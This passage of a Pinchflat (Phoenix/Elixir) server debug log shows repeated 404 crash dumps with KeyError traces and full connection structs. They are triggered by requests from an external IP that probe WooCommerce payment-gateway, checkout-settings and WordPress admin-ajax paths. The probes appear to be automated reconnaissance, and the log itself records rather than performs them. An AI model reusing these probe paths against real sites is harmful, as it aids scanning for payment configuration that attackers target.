"https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/53 (truncated) 21:08:42.956 [info] GET /wp-json/wc/v3/payment_gateways 21:08:42.957 [debug] QUERY OK source="settings" db=0.1ms idle=73.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.957 [debug] QUERY OK source="settings" db=0.0ms idle=70.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.957 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.957 [error] #PID<0.3348.0> running PinchflatWeb.Endpoint (connection #PID<0.3347.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-json/wc/v3/payment_gateways ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json/wc/v3/payment_gateways (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3347.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v3/payment_gateways", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49920}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3348.0>, params: %{}, path_info: ["wp-json", "wc", "v3", "payment_gateways"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-json/wc/v3/payment_gateways", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-rHk81F_rAEAAQAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3347.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v3/payment_gateways", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49920}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json/wc/v3/payment_gateways (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3347.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v3/payment_gateways", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49920}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3348.0>, params: %{}, path_info: ["wp-json", "wc", "v3", "payment_gateways"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537 (truncated) 21:08:42.973 [info] GET /wp-json/wc/v2/payment_gateways 21:08:42.974 [debug] QUERY OK source="settings" db=0.1ms idle=87.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.974 [debug] QUERY OK source="settings" db=0.0ms idle=59.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.974 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.974 [error] #PID<0.3350.0> running PinchflatWeb.Endpoint (connection #PID<0.3349.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-json/wc/v2/payment_gateways ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json/wc/v2/payment_gateways (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3349.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v2/payment_gateways", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49924}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3350.0>, params: %{}, path_info: ["wp-json", "wc", "v2", "payment_gateways"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-json/wc/v2/payment_gateways", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-rLpUsoMzgsAAQCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3349.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v2/payment_gateways", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49924}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json/wc/v2/payment_gateways (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3349.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v2/payment_gateways", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49924}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3350.0>, params: %{}, path_info: ["wp-json", "wc", "v2", "payment_gateways"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537 (truncated) 21:08:43.014 [info] GET /wp-json/wc/v3/settings/checkout 21:08:43.015 [debug] QUERY OK source="settings" db=0.1ms idle=100.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.015 [debug] QUERY OK source="settings" db=0.1ms idle=57.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.015 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.015 [error] #PID<0.3352.0> running PinchflatWeb.Endpoint (connection #PID<0.3351.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-json/wc/v3/settings/checkout ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json/wc/v3/settings/checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3351.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v3/settings/checkout", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49930}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3352.0>, params: %{}, path_info: ["wp-json", "wc", "v3", "settings", "checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-json/wc/v3/settings/checkout", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-rVXXFOJo1QAAB0D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3351.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v3/settings/checkout", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49930}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json/wc/v3/settings/checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3351.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/wc/v3/settings/checkout", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49930}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3352.0>, params: %{}, path_info: ["wp-json", "wc", "v3", "settings", "checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) (truncated) 21:08:43.023 [info] GET /wp-admin/admin-ajax.php 21:08:43.024 [debug] QUERY OK source="settings" db=0.1ms idle=66.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.024 [debug] QUERY OK source="settings" db=0.0ms idle=50.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.024 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.024 [error] #PID<0.3354.0> running PinchflatWeb.Endpoint (connection #PID<0.3353.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-admin/admin-ajax.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-admin/admin-ajax (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3353.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-admin/admin-ajax.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49932}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3354.0>, params: %{}, path_info: ["wp-admin", "admin-ajax"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-admin/admin-ajax.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-rXjq5ikXVMAAQEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3353.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-admin/admin-ajax.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49932}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-admin/admin-ajax (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: 